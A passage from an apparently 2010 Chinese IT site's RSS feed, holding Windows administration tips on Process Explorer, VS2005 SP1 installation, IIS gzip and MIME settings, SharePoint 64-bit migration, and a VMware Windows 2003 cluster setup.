　　由于未知进程往往多&amp;ldquo;来者不善&amp;rdquo;，因此还可在分析其各项指数的基础上查看其对CPU线程内存的占用数，在图3所示的窗口中单击Performance Graph选项卡即可查看&amp;ldquo;性能曲线&amp;rdquo;。

　　如&amp;ldquo;性能曲线&amp;rdquo;中未知程序占用的CPU线程数和内存值均较大时(即曲线波动较大)，可尝试在进程列表内选择该未知进程后右击，选择Kill Process即可终止该可疑进程。
　　下载地址：http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O415A049460-12126_lit.png </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>新公司的机器都用的server2003，但是vs从2008又回到了2005的时代 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9637.html </link>
<description> </description>
<text>

新公司的机器都用的server2003，但是vs从2008又回到了2005的时代，昨天开始装2005，将近下班时开始装vssp1,就不说sp1安装死慢吧，装了半天给了来了个Error 1718. File was rejected by digital signature policy错误，文件的数字签名被你的本地软件策略给拒绝了，来看看解决方法：（我的e文系统，zh-cn雷同） 1.start-&amp;gt;run-&amp;gt;[type]control admintools -&amp;gt;Local Security Policy(本地安全策略) -&amp;gt;[展开]software restriction policies（软件限制策略） -&amp;gt;如果其下没有项目，右键然后选择new software restriction policy(新建策略) -&amp;gt;然后右键Enforcement(强制)-&amp;gt;properties(属性) -&amp;gt;选择&amp;ldquo;all users except local administrators&amp;rdquo;（除本地管理员以外的所有用户） -&amp;gt;然后重启，这个1718的错误就可以解决了 然后对于安装sp1死慢的问题，主要是由于win installer的cache造成的，不直接双击sp来安装而是用以下脚本来安装即可解决问题：

Copy to Clipboard引用的内容：[www.liehuo.net]
reg export HKLM\Software\Policies\Microsoft\Windows\Installer installer.reg reg add HKLM\Software\Policies\Microsoft\Windows\Installer /v MaxPatchCacheSize /t REG_DWORD /d 0 /f net stop msiserver start /wait VS80sp1-KB926601-X86-ENU.exe reg delete HKLM\Software\Policies\Microsoft\Windows\Installer /v MaxPatchCacheSize /f reg import installer.reg net stop msiserver del /q installer.reg 2&amp;gt;nul 

把以上脚本保存为sp.bat，放到和补丁程序同一个目录下，即可大大提升sp1的安装速度。 注意这句&amp;ldquo;start /wait VS80sp1-KB926601-X86-ENU.exe &amp;rdquo;，是你sp安装文件的文件名，我的是VS80sp1-KB926601-X86-ENU.exe ，个人视情况写正确的文件名。 </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O39101FS60-13L1_lit.gif </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>HTTP压缩是在Web服务器和浏览器间传输压缩文本内容的方法。HTTP </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9638.html </link>
<description> </description>
<text>

　　相关阅读：如何启用IIS的Gzip压缩功能(详细图解)
　　一.摘要
　　本文总结了如何为使用IIS托管的网站启用Gzip压缩, 从而减少网页网络传输大小, 提高用户显示页面的速度.
　　二.前言.
　　本文的知识点是从互联网收集整理, 主要来源于中文wiki. 使用YSlow检测网站启用了哪些优化时, Gzip是十分关键的一项. 启动Gip压缩将立竿见影的减少页面的网络传输大小.
　　三.HTTP压缩概述
　　HTTP压缩是在Web服务器和浏览器间传输压缩文本内容的方法。HTTP压缩采用通用的压缩算法如gzip等压缩HTML、JavaScript或CSS文件。压缩的最大好处就是降低了网络传输的数据量，从而提高客户端浏览器的访问速度。当然，同时也会增加一点点服务器的负担。Gzip是比较常见的一种HTTP压缩算法。
　　四.HTTP压缩工作原理
　　Web服务器处理HTTP压缩的工作原理如下：
　　1.Web服务器接收到浏览器的HTTP请求后，检查浏览器是否支持HTTP压缩;
　　在用户浏览器发送请求的HTTP头中, 带有&amp;quot;Accept-Encoding: gzip, deflate&amp;quot;参数则表明支持gzip和deflate两种压缩算法.
　　2.如果浏览器支持HTTP压缩，Web服务器检查请求文件的后缀名;
　　静态文件和动态文件后缀启动要所都需要在MetaBase.xml中设置.
　　静态文件需要设置: HcFileExtensions Metabase Property (单击跳转到MSDN说明)
　　动态文件需要设置: HcScriptFileExtensions Metabase Property (单击跳转到MSDN说明)
　　3.如果请求文件是HTML、CSS等静态文件并且文件后缀启用了压缩，则Web服务器到压缩缓冲目录中检查是否已经存在请求文件的最新压缩文件;
　　4.如果请求文件的压缩文件不存在，Web服务器向浏览器返回未压缩的请求文件，并在压缩缓冲目录中存放请求文件的压缩文件;
　　5.如果请求文件的最新压缩文件已经存在，则直接返回请求文件的压缩文件;
　　6.如果请求文件是ASPX等动态文件并且文件后缀启用了压缩，Web服务器动态压缩内容并返回浏览器，压缩内容不存放到压缩缓存目录中。
　　五.启用HTTP压缩
　　执行CMD文件即可一步搞定。下载：IIS6-SET-GZIP.rar  </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>如何开启windows7快速启动栏？以下为开启方法： 1.在任务栏上右 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9639.html </link>
<description> </description>
<text>

　　如何开启windows7快速启动栏？以下为开启方法：
　　1.在任务栏上右键 -&amp;gt; 工具栏 -&amp;gt; 新建工具栏。
　　2.在文件夹里面输入这个路径，然后按回车： %userprofile%\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch
　　3.在任务栏上空白处右键，把锁定任务栏的勾去掉。然后在 Quick Launch 的位置右键，把显示文本和显示标题的勾全部去掉
　　4.现在任务栏已经解锁。我们可以自由的拖动上面的东西。要稍微用点儿劲儿，需要乾坤大挪移一下。把快速启动栏往左拖到不能再拖的位置。然后把任务栏往右拖，快速启动栏自动就到了最左边。
　　5.现在原先的任务栏中还有不少程序。你可以一一将它们去掉。右键点程序图标，选将此程序从任务栏解锁。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>如果继续使用熟悉且已知行之有效的东西，通常会感觉更轻松。为配 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9640.html </link>
<description> </description>
<text>副标题#e#
						



　　如果继续使用熟悉且已知行之有效的东西，通常会感觉更轻松。为配合使用 Microsoft Office SharePoint Server 2007 而大规模应用 64 位环境的趋势已慢慢减弱，这可能是因为人们在安装和配置 32 位硬件和软件过程中已经花费了许多时间、金钱以及精力。用户对迁移到 64 位环境似乎主要存在以下几点疑虑：成本高昂、操作困难、费时，以及与现有软件不兼容。通过本文，您会发现这些疑虑其实有些言过其实，可以说，使用 64 位环境带来的利要远大于弊。
　　了解 64 位环境
　　64 位环境由硬件和软件两个部分组成。虽然只转换到 64 位硬件也能对性能有些提高，但只有将 64 位硬件和软件结合使用，才能获得最佳效果。
　　64 位硬件虽然 64 位处理功能在专门的应用程序中已经使用了几十年，但将其广泛应用于基于 Intel 的计算机是最近几年才开始兴起的。现在市场上销售的新服务器大多为 64 位服务器，但是，当前用作基于 Windows 的服务器的大多数计算机仍使用 32 位体系结构。32 位服务器的通病在于其对需要大量资源的应用程序(如 Office SharePoint Server 2007)的速度、可靠性和可伸缩性方面有一些限制。
　　在计算机体系结构中，术语 64 位 最常是指中心处理单元 (CPU) 的设计，但它也可能与计算机外部数据总线大小有关。撇开其他优点不说，首先，64 位 CPU 处理单个任务的速度是 32 位模型的两倍，此外，与 32 位处理器 4 GB 的寻址限制相比，它可以寻址的随机存取内存 (RAM) 要远远超出这一数字。拥有 64 位 CPU 和 64 位数据总线的服务器能够更好地处理和管理与 Office SharePoint Server 2007 关联的大型数据库文件。
　　不过并非所有 64 位计算机都相同。Intel 的 Itanium 系列 64 位处理器采用了与 Microsoft SharePoint 产品和技术不兼容的专有设计。因此，在购买用于 Office SharePoint Server 2007 服务器场的硬件时，务必要检查处理器类型。
　　64 位软件只有当所安装的软件旨在使用 64 位硬件的所有功能时，64 位硬件的优势才能发挥得淋漓尽致。如果将用于 32 位计算机的软件安装在 64 位计算机上，虽然可兼容，但即使是有优势，也与预期相差甚远。Office SharePoint Server 2007 及其所有必备的操作系统和数据库软件都有用于 64 位计算机的安装选项。
　　Windows Server 2003 和 Windows Server 2008 都提供 64 位版本的标准版和企业版。如果您是一位希望升级到 64 位的批量许可客户，则将免费为您从 32 位转换到 64 位或 Itanium 版本。标准版在 1 路至 4 路服务器上最多支持 32 GB RAM。企业版提供更强大的支持，它在 1 路至 8 路服务器上支持大型数据库，并且最多支持 2 TB RAM。有关 64 位环境中 Windows Server 的详细信息，请参阅 Microsoft Windows x64 Edition 优势 (http://go.microsoft.com/fwlink/?linkid=147235&amp;amp;clcid=0x804)。
　　32 位和 64 位版本的 SQL Server 基于通用的体系结构。64 位版本的 SQL Server 经过了优化，可在使用 AMD Opteron、AMD Athlon 64、支持 Intel Extended Memory 64 Technology (EM64T) 的 Intel Xeon 或支持 EM64T 的 Intel Pentium IV 的服务器上运行。有关 64 位环境中 SQL Server 的详细信息，请参阅 64 位环境优势 (http://go.microsoft.com/fwlink/?linkid=147234&amp;amp;clcid=0x804)。
　　32 位版本的 Office SharePoint Server 2007 与 64 位版本的 Windows SharePoint Services 3.0 在功能集或安装过程方面没有任何区别。
　　64 位硬件和软件的优势
　　内存可寻址能力物理内存
　　32 位系统体系结构只能对 4 GB 的地址空间进行直接寻址。运行 64 位版本 Windows Server 的 64 位系统体系结构所支持的物理内存和可寻址内存均可多达 1,024 GB。
　　虚拟内存
　　64 位版本 Windows Server 可以通过使用平面寻址模型对 16 TB 的虚拟内存进行寻址。将为应用程序和操作系统的虚拟地址空间均匀分配这些虚拟内存。32 位应用程序在 64 位环境中运行时，甚至也可以从增加的虚拟内存地址空间中受益。例如，尽管 32 位应用程序仍限制为使用 4 GB 虚拟内存，但它再也不必与操作系统共享该内存空间，因此，实际上有效地增加了它可使用的虚拟内存。

						#p#副标题#e#




　　连续内存
　　32 位系统性能差通常不是因为缺少可用内存，而是因为连续内存中的块虽然足够大却不可用。在典型的 Office SharePoint Server 2007 部署中，Windows、Internet Information Services (IIS)、公共语言运行时 (CLR)、ASP.NET、SharePoint 产品和技术、SSP 和 MDAC 都可以要求获得服务器的一部分可用虚拟内存，从而可能导致 32 位地址空间变成一些很小的碎片。当 CLR 或 SharePoint 服务请求新内存块时，可能很难在密集的 32 位地址空间中找到 64 MB 大小的段。而 64 位系统能为用户模式进程提供几乎无限制的地址空间。
　　并行处理能力更强使用 32 位体系结构的服务器被限制为 32 个 CPU。对并行处理能力和总线体系结构的改进使 64 位环境可以支持多达 64 个处理器，同时为每个额外的处理器提供接近线性的可伸缩性。
　　总线体系结构的速度更快64 位体系结构提供更多更广泛的通用寄存器，从而大大提高了应用程序的整体速度。寄存器越多，就越不需要执行以下操作：将永久性数据写入内存，稍后使用很少的指令读回该数据。在 64 位环境中，调用函数的速度也更快，因为在寄存器中一次可向函数传递多达四个参数。
　　更安全64 位版本的 Windows Server 提供了以下增强安全功能：
　　缓冲区溢出保护
　　当数据缓冲区中填充的数据量超出其计划处理的数据量时，将出现缓冲区溢出。在 64 位版本的 Windows Server 中，过程调用的第一批参数会传递到寄存器中。因此不太可能出现缓冲区溢出的情况，因为必须在寄存器中设置正确值并在堆栈上匹配变量和地址。
　　数据执行保护
　　AMD 和 Intel 生产的 64 位处理器提供对数据执行保护 (DEP) 的硬件支持。Windows Server 使用 DEP 防止执行恶意代码，即使在出现缓冲区溢出时也是如此。即使没有支持 DEP 的处理器，Windows Server 也可以检测到在本不该在的内存位置中运行的代码。
　　Patch Guard
　　Microsoft Patch Guard 技术将阻止非 Microsoft 程序修补 Windows 内核。该技术将阻止内核模式驱动程序扩展或替换内核服务(包括系统服务分配表、中断描述符表 (IDT) 以及全局描述符表 (GDT))。此外，也可以阻止第三方软件分配内核堆栈或修补任何内核部分。
　　可伸缩性更好在 64 位环境中，数据库服务器不仅可以获得几乎无限制的虚拟内存地址空间，而且还可以获得对更多物理内存的支持。运行 64 位版本的 Windows Server 和 SQL Server 的 64 位服务器可以将超大型工作数据集全部存储到 RAM 中，从而提高了性能和可伸缩性。此外，可以大幅减少支持指定用户群所需的应用程序服务器的数量，因为 64 位环境不要求工作进程每次都进行循环。循环次数的减少不但可以减少丢失的连接数，还可以提高 I/O 处理能力并改善用户体验。
　　总拥有成本下降上面几节中列出的 64 位操作的所有优势都能让您事半功倍。通过使用 64 位环境，在减少使用硬件的同时，您可以管理更多数据、为更多用户提供服务、运行更多应用程序。由于减少了硬件，您还可以降低许可证成本、操作成本和基础结构成本。此外，64 位环境在数据中心中占用的空间更少，维护的成本也更低。最后，由于使用 64 位硬件和软件的 Office SharePoint Server 2007 服务器场可以提供更多发展空间，因此随着时间的推移，可以减少花费在设备的开销，因为设备的生命周期可能更长。
　　64 位环境可能无法做到面面俱到
　　64 位环境的缺点通常，与 32 位服务器相比，64 位服务器需要更多虚拟内存。64 位框架将内存保留在基于处理器数量的段中。通常，4 处理器服务器至少应该有 5 GB 虚拟内存，8 处理器服务器至少应该有 6 GB 虚拟内存。
　　64 位应用程序能够访问更大的物理和虚拟内存空间，但这意味着地址表更大，从而导致数据事务开销也更大。因此，运行较小任务或重复任务的速度要比在 32 位环境中稍慢些。
　　通常的做法是重新规划空闲服务器设备。因此，如果您的组织有许多可用的 32 位服务器，可能就没有什么理由购买新的 64 位硬件来运行 Office SharePoint Server 2007。如果不得不在购买新的 64 位设备和重新规划旧的 32 位服务器之间作出抉择，应考虑到随着时间的推移，使用 64 位服务器和软件可能会为您省去一大笔操作费用。
　　某些第三方软件或 Office SharePoint Server 2007 功能在 64 位模式下无法工作。但是，SharePoint 产品和技术的未来版本将针对 64 位操作进行优化，并且完全不支持 32 位环境。
　　部署 64 位系统
　　新部署在新的 64 位服务器场中部署 Office SharePoint Server 2007 与在 32 位服务器场中进行部署的差别不大。可用于新部署的规划文档包括有关将服务器场配置为最大程度利用 64 位硬件和软件的新增功能的信息。有关在 64 位环境中规划和部署 Office SharePoint Server 2007 的详细信息，请参阅 SharePoint Server 2007 用前须知 (http://go.microsoft.com/fwlink/?linkid=98564&amp;amp;clcid=0x804)。
　　现有部署的转换没必要一次性将整个 Office SharePoint Server 2007 部署转换为 64 位服务器。在大多数情况下，32 位服务器和 64 位服务器可以在同一服务器场中互不干扰地运行，而且执行增量转换可以分期分摊转换成本，并有助于保持整个转换过程中服务的连续性。
　　若要了解将 Office SharePoint Server 2007 迁移到 64 位环境的详细过程，请参阅将现有服务器场迁移到 64 位环境 (Office SharePoint Server 2007)。
#p#副标题#e#




　　增量迁移到 64 位服务器如果选择按照一次一台的方式将服务器迁移到 64 位服务器，最好先了解哪些服务器将从转换中受益最大。通过按特定顺序迁移服务器，您可以优化转换并可立即从性能改善中获益。下列服务器按照转换为 64 位服务器后的受益程度(由多到少)排序：
　　数据库服务器
　　SQL Server 需要占用大量处理器资源和内存。迁移到 64 位服务器最直接的好处就是允许数据库服务器支持更多数据库，同时处理更多连接和事务。
　　前端 Web 服务器和应用程序服务器
　　工作进程始终可以得益于额外的内存。在服务器上运行的服务和应用程序越多，它们从增强的内存管理中获得的益处越多，64 位环境提供的内存限制也越高。将前端 Web 服务器转换为 64 位服务器时，务必同时迁移所有服务和应用程序。
　　建议不要将 32 位和 64 位前端 Web 服务器混在一起用于长期部署。因为如果一台或多台服务器的性能比其余服务器的性能好，可能会导致服务器负载不平衡。
　　运行 Excel Calculation Services 的应用程序服务器
　　Excel Calculation Services 通常占用大量 CPU。64 位处理器和外部数据总线的体系结构的速度更快，因此可以显著提高性能。
　　索引服务器
　　索引服务器对处理器和磁盘 I/O 的速度要求较高。此外，它们还需要同时维护大量连接。64 位体系结构提供增强的内存管理和较宽的数据总线，从而有助于减少爬网次数。
　　查询服务器
　　查询服务器往往是服务器场中最安静的服务器，转换为 64 位硬件后的受益可能也最小。但是，在查询服务器一次要处理大量搜索请求的情况下，则性能提高显著。
　　64 位硬件上的 32 位软件可以在 64 位硬件上运行 32 位软件。64 位版本的 Windows Server 包括可以模拟 32 位操作系统的 Windows on Windows 64-bit (WOW64) 转换层。在许多情况下，WOW64 可以使 32 位软件和 64 位软件在同一台计算机上同时运行。但是，只有 64 位版本的 SharePoint 产品和技术可以在 64 位版本的 Windows Server 上运行。
　　混合使用 32 位和 64 位服务器运行混合使用 32 位和 64 位服务器的服务器场时，需要考虑以下重要注意事项：
　　不要使用 Windows Server 2003 中的 /3GB 开关
　　在总共具有 4 GB 虚拟地址空间的 32 位服务器上，/3GB 开关可以从内核将 1 GB 虚拟地址空间转移给用户模式进程，从而优化性能。不建议在 64 位硬件上使用此开关，因为它仅为内核留下了 1 GB 虚拟地址空间。64 位硬件使用的大型地址表可能会耗尽这 1 GB 地址空间，从而可能破坏计算机的稳定性。有关详细信息，请参阅知识库文章 Windows SharePoint Services 2.0(或更高版本)或 SharePoint Portal Server 2003 SP2(或更高版本)中不支持 Windows Server 2003 /3GB 开关 (http://go.microsoft.com/fwlink/?linkid=105919&amp;amp;clcid=0x804)。
　　在每个拓扑结构层维护 32 位或 64 位同质性
　　您可以在 32 位服务器和 64 位服务器混合环境中部署 Office SharePoint Server 2007 服务器场，条件是您要在每个拓扑结构层维护体系结构同质性。例如，可以将 64 位数据库服务器与 32 位前端 Web 服务器结合使用，或者将 64 位应用程序服务器与运行 Excel Services 的 32 位服务器结合使用。但是，不建议在同一服务器场内混合使用 32 位前端 Web 服务器和 64 位前端 Web 服务器。
　　混合使用 32 位和 64 位服务器可能会增加服务器场的维护开销
　　在混合使用 32 位服务器和 64 位服务器的方案中，必须为每个平台独立管理诸如第三方应用程序、自定义解决方案、软件修补程序以及更新之类的程序和软件。
　　摘要
　　如果在部署中运行 32 位服务器就已经足够，并且用户对其网站、应用程序和搜索请求的运行非常满意，可能就不用急于将 Office SharePoint Server 2007 部署转换为 64 位服务器。但是，如果服务器场的性能没有达到您或客户的期望、用户群增长很快、应用程序池回收的频率越来越高或者即将进行计划的设备升级，那么，此时您应达到正在不断完善的新标准并将设备和软件迁移到 64 位设备和软件。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>Windows 7 系统重装后,安装Dreamweaver时程序中断,系统未被修改? </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9641.html </link>
<description> </description>
<text>

　　Windows 7 系统重装后,安装Dreamweaver时程序中断,系统未被修改?
　　经过一系列的排查,终于找到错误的源头,拿来与大家分享一下.
　　第一步:在命令窗口,输入services.msc进入服务,检查windows Installer服务是否已启动
　　Windows Installer服务是添加、修改和删除以Windows安装程序(*.msi)的软件包提供程序，如果禁用了此服务，任何完全依赖它的服务不会被启动。
　　第二步：检查DCOM Server Process Launcher服务，启动类型设为自动，并启动
　　第三步：检查Remote Procedure Call (RPC)服务，启动类型设为自动，并启动
　　以上三步如果还不能正常安装，就必须重启计算机. </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>问题： 1、我是 xp-windows7双系统，机子有读卡器，在xp系统的我 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9642.html </link>
<description> </description>
<text>

 问题：
1、我是 xp-windows7双系统，机子有读卡器，在xp系统的&amp;ldquo;我的电脑&amp;rdquo;界面显示为读卡器名和可移动存储器的图标； 2、在windows7系统的&amp;ldquo;计算机&amp;rdquo;界面不显示，在&amp;ldquo;磁盘管理器&amp;rdquo;中可见有这些读卡器，标记的是&amp;ldquo;可移动存储器&amp;rdquo;。 3、在&amp;ldquo;文件夹选项&amp;rdquo;的&amp;ldquo;查看&amp;rdquo;中要勾选&amp;ldquo;显示所有文件和驱动器&amp;rdquo;后，在windows7系统的&amp;ldquo;计算机&amp;rdquo;界面中就可以看见这些读卡器了。 请问： 1、在windows7系统中，这些读卡器都默认为&amp;ldquo;隐藏属性&amp;rdquo;吗？ 2、如何修改这个属性？ 
 回答：
在Windows7中，仅在同时选中&amp;ldquo;隐藏计算机文件夹中的空驱动器 &amp;rdquo;和&amp;ldquo;不显示隐藏的文件、 文件夹或驱动器 &amp;rdquo;这两个选项时，并且读卡器没有插入存储卡时，读卡器盘符会被隐藏
如果希望显示读卡器盘符，在设置中调整任意以上选项即可 </text>
<image>http://www.itxia.com/uploads/allimg/c100714/12O044E322160-46331_lit.gif </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>本文将在VMware虚拟机上模拟实现windows2003集群环境，这里记录 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9643.html </link>
<description> </description>
<text>

　　本文将在VMware虚拟机上模拟实现windows2003集群环境，这里记录下整个过程，希望对大家提供些参考。
　　一、环境准备 1、首先需要安装VMware虚拟机软件，本次安装使用的是VMware5.5版本。 2、然后在VMware上新建windows2003企业版虚拟机，然后在虚拟机设置里将光驱配置为windows2003企业版安装镜像(ISO文件)。启动虚拟机开始windows2003企业版的安装，整个安装过程和在本地机器上安装系统一样，安装完系统后需要安装SP1。 3、本次的集群环境模拟我们需要三台服务器，所以我们将第二步完成安装的windows2003虚拟机拷贝两份，这样就准备好了三台服务器的系统环境。三台机器中第一台我们用做域控制器(名称叫做AD)，另外两台用做集群的两个节点服务器(分别叫做C1和C2)。这里需要注意的是，系统安装过程中会生成SID等基础信息，我们这里通过拷贝的形式复制了两台虚拟机，那么三台服务器的SID等基础信息都是一样的，这样在域登陆的时候会出现问题，所以需要对拷贝的两台服务器进行重新封装。封装方法：在win2k3安装光盘\support\tools\deploy.cab中提取sysprep.exe和setupcl.exe到本地硬盘，然后运行sysprep.exe，并&amp;ldquo;选择不重置激活的宽限期&amp;rdquo;，然后点击&amp;ldquo;重新封装&amp;rdquo;，系统自动重启，重启后对SID等基本信息进行重新设置即可。
　　二、配置网络 1、关闭两台节点服务器，在虚拟机设置里分别为两台节点服务器(C1和C2)各增加一块网卡。 2、分别启动三台虚拟机服务器，对三台虚拟机服务器进行网络配置。 对AD服务器配置计算机名称为AD，IP地址为100.100.100.1，掩码为255.255.255.0，DNS为100.100.100.1 。对C1服务器配置计算机名称为C1，网络邻居属性里将看到两个本地连接，将其中一个重命名为&amp;ldquo;public&amp;rdquo;，另一个重命名为&amp;ldquo;private&amp;rdquo;。然后配置public IP地址为100.100.100.2，掩码为255.255.255.0，DNS为100.100.100.1 。配置private IP地址为10.10.10.2，掩码为255.255.255.0，然后在高级中禁用NetBIOS和取消DNS地址注册。对C2服务器配置计算机名称为C2，网络邻居属性中的本地连接进行同样的重命名。对public配置IP为100.100.100.3，掩码为255.255.255.0，DNS为100.100.100.1 。配置private IP地址为10.10.10.3，掩码为255.255.255.0，同样禁用NetBIOS和取消DNS地址注册。 说明：private用做两台节点服务器的&amp;ldquo;心跳&amp;rdquo;，public用做公网访问。 配置完成后用ping命令测试网络连通性。
　　三、配置域 1、在AD服务器上，打开&amp;ldquo;管理工具&amp;rdquo;里的&amp;ldquo;配置您的服务器&amp;rdquo;，然后选择&amp;ldquo;添加或删除角色&amp;rdquo;，会打开&amp;ldquo;配置服务器向导&amp;rdquo;，点击下一步，然后选择&amp;ldquo;第一台服务器的典型配置&amp;rdquo;，点击下一步，然后输入域名(这里以nxbuntu.com为例)。点击下一步，需要输入NetBIOS名称，这里采用默认，点击下一步，进入&amp;ldquo;DNS转发配置&amp;rdquo;，这里选择&amp;ldquo;否，不转发查询&amp;rdquo;，点击下一步，确认安装的服务器列表，点击下一步，开始服务器的配置。这里会提示需要关闭其他所有程序，选择确定。等待服务器配置完成后系统会自动重启，重启后确认&amp;ldquo;服务器配置完成&amp;rdquo;即可，这样就在AD服务器上配置好了AD和DNS服务器。 2、因为两台节点服务器做集群后，就等于一台虚拟服务器，需要集群名称和IP地址，所以要在DNS中增加一个虚拟的主机。打开AD服务器上&amp;ldquo;管理工具&amp;rdquo;里的&amp;ldquo;DNS&amp;rdquo;管理器，在左边目录树中选择&amp;ldquo;AD&amp;rdquo;下的&amp;ldquo;正向搜索区域&amp;rdquo;中添加主机。主机名称为&amp;ldquo;CT&amp;rdquo;(该名称也就是集群名称)，IP地址我们设置为100.100.100.5 。 3、启动两台节点服务器(C1和C2)，将两台服务器都加入到域中(nxbuntu.com)。加入方法是在&amp;ldquo;我的电脑&amp;rdquo;属性中&amp;ldquo;网络身份&amp;rdquo;里面选择加入域，输入域名称&amp;ldquo;nxbuntu.com&amp;rdquo;，然后系统提示需要域管理帐号权限，输入AD服务器的域管理帐号(这里我们AD服务器的管理员Administrator同时也是域管理帐号，输入Administrator和密码)。确定即可加入该节点服务器到域中，重启后登陆系统是在输入用户名和密码后，点击&amp;ldquo;选项&amp;rdquo;后现在&amp;ldquo;登陆到域nxbuntu.com&amp;rdquo;即可登陆到域中。
　　四、设置磁盘阵列 我们将要创建两个共享SCSI硬盘集群必须的仲裁盘和应用程序共享磁盘。 1、在C1节点服务器中新增仲裁盘和共享磁盘。在C1节点服务器虚拟机配置中，选择新增磁盘，然后选择&amp;ldquo;新建虚拟磁盘&amp;rdquo;，点击下一步，选择&amp;ldquo;SCSI&amp;rdquo;磁盘类型，点击下一步，输入磁盘大小(这里设定仲裁盘大小为500M)0.5G，打上&amp;ldquo;Allocate all disk space&amp;rdquo;，点击下一步，在磁盘文件保存目录窗口中点击&amp;ldquo;浏览&amp;rdquo;，选择磁盘文件保存目录，选择&amp;ldquo;All Files&amp;rdquo;后在文件名输入况中输入&amp;ldquo;Q.pln&amp;rdquo;，然后保存，这样我们将新增了集群环境所需的仲裁盘，同样的方法我们新增一个2G大小的共享磁&amp;ldquo;Z.pln&amp;rdquo;。然后分别选择新增的仲裁盘和共享磁盘，点击右侧的&amp;ldquo;高级&amp;rdquo;，修改SCSI nodes号为&amp;ldquo;SCSI 1：1&amp;rdquo;和&amp;ldquo;SCSI 1：2&amp;rdquo;。这是因为我们创建虚拟机时默认采用的也是SCSI磁盘，所以需要将nodes设置在不同的区段。 2、在C2节点服务器上加入仲裁盘和共享磁盘。在C1节点服务器虚拟机配置中，选择新增磁盘，然后选择&amp;ldquo;使用现有虚拟磁盘&amp;rdquo;，(这里和节点C1不同)，然后选择&amp;ldquo;Q.pln&amp;rdquo;文件所在位置将加入了仲裁盘，同样的方法可加入共享磁盘。 3、进入C1节点服务器虚拟机文件存放目录，用记事本打开后缀名为&amp;ldquo;.vmx&amp;rdquo;的虚拟机文件(该文件是虚拟机的配置文件)，然后在文件最后添加一行 disk.locking = FALSE 同样在节点C2服务器虚拟机文件中也添加该行代码。该参数的作用是打开磁盘共享模式。 4、分别启动两台节点服务器C1和C2，在&amp;ldquo;磁盘管理&amp;rdquo;中即可看到有两个未初始化的磁盘，需要对它们进行初始化(但不要进行动态转换)并建立主磁盘分区，分区格式采用NTFS，仲裁盘盘符设置为&amp;ldquo;Q&amp;rdquo;，共享磁盘盘符设置为&amp;ldquo;Z&amp;rdquo;即可(这里两台节点服务器都需要进行相同的操作)。
　　五、集群安装 1、在节点C1服务器中，点击&amp;ldquo;管理工具&amp;rdquo;里的&amp;ldquo;群集管理器&amp;rdquo;，然后选择&amp;ldquo;创建新群集&amp;rdquo;，弹出群集创建向导，输入域名&amp;ldquo;nxbuntu.com&amp;rdquo;，群集名为&amp;ldquo;CT&amp;rdquo;，点击下一步，选择节点服务器，这里默认是节点&amp;ldquo;C1&amp;rdquo;，直接点击下一步，向导开始自动收集信息，完成后点击下一步，输入群集IP地址，这里输入IP地址为：100.100.100.5(这里的群集名和IP地址是我们在DNS管理器中新增的主机名和IP地址)，然后选择下一步，输入域管理账户(这里是Administrator和相应的密码)，点击下一步，向导开始自动配置群集，直到完成即可。 2、在节点C2服务器中，点击&amp;ldquo;管理工具&amp;rdquo;里的&amp;ldquo;群集管理器&amp;rdquo;，选择&amp;ldquo;添加节点到群集&amp;rdquo;，然后输入群集名称CT，点击下一步，然后选择C2节点服务器，系统会自动收集信息，完成后下一步输入域管理帐户密码，然后系统会自动完成配置。 3、在&amp;ldquo;群集配置&amp;rdquo;里&amp;ldquo;网络&amp;rdquo;中private属性里，选择&amp;ldquo;只用于内部通讯(专用网络)&amp;rdquo;，然后确定。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>今天有网友说，本站提供的文件无法下载，我看了一下，是iso文件 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9644.html </link>
<description> </description>
<text>

　　今天有网友说，本站提供的文件无法下载，我看了一下，是iso文件，访问时提示不支持请求，原来iis默认不支持一些格式的下载，下面是通用的解决思路。
　　WIN2003 中的IIS6默认不知道是为了安全还是什么，不允许直接下载。ISO、GHO等格式的文件。这样显得很不方便。解决方法为：
　　1、打开INTERNET信息管理器
　　2、在以计算机名名+(本地计算机)上点右键，选择&amp;ldquo;属性&amp;rdquo;，点击界面中的&amp;ldquo;MIME类型&amp;rdquo;按钮。这里列出的是所有IIS支持解析的扩展名，在这里可根据实际需要添加、删除。
　　比如现在是要增加ISO格式的解析，则点击&amp;ldquo;新建&amp;rdquo;
　　扩展名：输入：.iso
　　MIME类型：输入：application/octet-stream
　　其它格式也是一样
　　application/octet-stream代表应用程序、数据流，可直接下载;
　　text/plain代表文本数据流，可直接在浏览器上显示;
　　image/..等代表图像文件
　　如果只想对某个网站做这个设置，可直接对该网站进行编辑。
